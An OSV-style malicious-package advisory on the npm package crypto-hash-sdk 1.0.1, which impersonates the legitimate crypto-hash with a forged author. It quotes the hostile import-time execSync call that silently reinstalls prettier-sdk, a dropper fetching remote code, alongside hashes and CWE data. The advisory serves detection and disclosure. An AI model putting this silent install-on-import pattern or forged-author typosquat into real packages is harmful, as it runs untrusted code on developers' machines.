MAL-2026-4541
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08)
Package name and metadata impersonate Sindre Sorhus's legitimate crypto-hash package (forged author Sindre Sorhus <sindresorhus@gmail.com> and repository sindresorhus/crypto-hash in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls execSync("npm uninstall prettier-sdk && npm install prettier-sdk", { stdio: "ignore", windowsHide: true }) — on any require()/import of this module, the installer's machine silently runs npm install for the unrelated prettier-sdk package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "index.js",
"sha256": "25fd2657458826ba32009f8724d81609eefe4fb75aab7b6bb2a2da1232d7bd2c",
"tlsh": "ef517166df3c822203b13a175ca5969fa43d91257e9058bb8d4cbf3820c706dc6783b6"
},
{
"path": "package.json",
"sha256": "ca43953d3010cc88ea556586b66d2a27b2686e8f6ed4518bd8e7dc87db60ff90",
"tlsh": "0221e1139e2fb6a327e45dcd9c3d94d1a979800d848dd9ee9edb7100c2ec661105e68a"
}
],
"package_integrity": [
{
"filename": "crypto-hash-sdk-1.0.1.tgz",
"hashes": {
"sha1": "3522be61f9b960bddcb252122a3a3a21d4234bc1",
"sha512_sri": "sha512-9fysDQ21e4wOncHvg/8TGKrvKWIvAqTeztx3S5SMUmFKWSM/oqc2Ss8FTRGydPAjnMvZtEwyqdNGVyYY6LUxKQ=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "crypto-hash-sdk"
},
"versions": [
"1.0.1"
]
}
],
"credits": [
{
"contact": [
"actran@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-003249",
"import_time": "2026-05-26T05:50:17.512686283Z",
"modified_time": "2026-05-19T18:58:21Z",
"sha256": "208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08",
"source": "amazon-inspector",
"versions": [
"1.0.1"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (208571de648a5ef9d7b4ae7b6f83151d9c2272f75fc16b42faa75a352ded2e08)\nPackage name and metadata impersonate Sindre Sorhus\u0027s legitimate `crypto-hash` package (forged author `Sindre Sorhus \u003csindresorhus@gmail.com\u003e` and repository `sindresorhus/crypto-hash` in package.json), but the shipped code differs. index.js (lines 73-78) contains a top-level IIFE that calls `execSync(\"npm uninstall prettier-sdk \u0026\u0026 npm install prettier-sdk\", { stdio: \"ignore\", windowsHide: true })` \u2014 on any `require()`/`import` of this module, the installer\u0027s machine silently runs `npm install` for the unrelated `prettier-sdk` package, pulling and executing arbitrary remote code (including any lifecycle hooks of that package) with stdio suppressed and errors swallowed. This is a dropper that fetches unpinned remote code at import time, layered on top of a typosquat with forged author identity.\n",
"id": "MAL-2026-4541",
"modified": "2026-05-19T18:58:21Z",
"published": "2026-05-19T18:58:21Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/crypto-hash-sdk/v/1.0.1"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in crypto-hash-sdk (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.